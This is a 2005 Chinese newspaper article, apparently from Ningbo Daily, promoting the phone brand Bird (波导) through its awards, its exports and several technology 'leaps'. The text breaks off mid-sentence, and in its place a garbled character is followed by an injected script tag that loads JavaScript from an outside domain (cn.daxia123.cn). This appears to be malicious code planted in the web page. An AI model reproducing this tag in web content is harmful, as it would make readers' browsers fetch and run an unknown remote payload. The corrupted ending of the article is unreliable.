波导:国产手机第一品牌之路

添加时间:2005-11-09 | 来自媒体:宁波日报 | 点击:13809

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    图为波导公司代表在京领奖(记者包凌雁摄)

 

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    由中外专家组成的波导研发团队

 

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波导最近推出的MP4系列手机

 

    昨天,从北京传来喜讯,波导公司获得“中国制造·行业内最具成长力的自主品牌企业”称号。在此之前,波导品牌获得了“中国驰名商标”、“中国名牌”、“2005年CCTV我最喜爱的中国品牌”、“中国市场产品质量用户满意消费者首选第一品牌”、“国内移动电话消费者满意品牌奖”等众多殊荣。


    从无到有,从弱到强,从星星之火到成燎原之势,在短短几年的时间里,波导取得了辉煌的业绩。从2000年到2004年,波导成功实现国产品牌手机“销量五连冠,出口创第一”的业绩。权威国际市场调研公司ICInsights公布的2004年度全球十大手机厂商排名显示,波导手机凭借自己的综合实力跻身全球八强,这是国产品牌手机第一次闯入世界八强。


    目前,波导产品已远销到欧洲、东南亚、南美、俄罗斯、印度等50多个国家和地区。在第五届“CCID中国手机用户满意产品调查”活动中,波导荣获“海外市场开拓成就奖”。波导手机的大量出口再次证明了波导手机的质量已经达到了国际先进水平,说明了波导手机已经具备了国际竞争力。


    品牌基石
    五次跨越 科技创新


    实践证明,中国品牌的崛起一定要把握大众市场的特点,打造自己的比较优势,不断满足这个市场上主流消费者的第一需求。如果脱离了消费者的第一需求,空谈品牌建设,就和拽着自己的头发离开地球的做法没有什么两样。而波导的品牌提升正是沿着满足主流消费群体的第一需求这条必由之路一步一步地实现的。


    市场瞬息万变,要求企业即时应变。波导当年选择进入手机市场,一是基于对手机取代传呼机这个不可逆转的趋势的预见,二是源于对中国市场结构动态特征的准确把握。


    波导依靠技术的局部领先抢占市场,毅然抢先一步推出自主品牌,赢得消费者。波导手机秉承这种理念,通过五次技术跨越,力求全方位满足消费者的第一需求。


    第一次跨越
    通话王中王


    在2000年,运营商的网络建设还处在逐步完善中,手机是否具有较强的信号也就成为大部分消费者在选择手机时的首要考虑因素。同其它产品相比,波导手机这方面具备先天的优势,因为波导的合作伙伴法国萨基姆公司是为军工企业提供射频技术设备的专业制造商,把军工技术移植到手机上,就保证了手机有更强的信号接收能力,也就更能满足消费者这方面的需求。波导在和消费者的沟通中,提出“通不通,首当其冲”的口号,并展开相应的各种推广活动,凸现波导手机信号强劲的特点。“信号好、接收强、通话王中王”成为波导品牌的典型个性,波导以此提炼出了“手机中的战斗机”这一经典广告语,消费者接受并认可了波导手机的这个特点,波导因而迅速打开了快速扩张的主流市场,在消费者心目中建立了自己独特的品牌形象。到2000年年底,波导手机的销量已经“垂直起飞”,跃居国产品牌第一。


    第二次跨越
    走进新时代


    随着社会经济的发展,手机已经从最初的身份象征转化为大众电子消费品,时尚流行色彩越来越明显,逐渐成为消费者传达个性、彰显自我的符号,外型开始成为消费者购买手机时考虑的主要因素。对这一变化,波导及时应对,与国外专业的手机外型设计公司联手,很快就掌握了手机外形设计技术,具备了可以设计任何一种款型手机的能力。波导及时推出了S2000、Q1600等一系列外型靓丽、功能时尚的“唯美手机”,还针对女性市场推出了“女人星”系列手机,针对商务人群推出了“多易随”系列手机,极大地满足了消费者的个性化需求。


    在推广中,波导提出了“走进手机新时代”的概念,突出波导手机外型和设计风格的时尚,进?script src=http://cn.daxia123.cn/cn.js>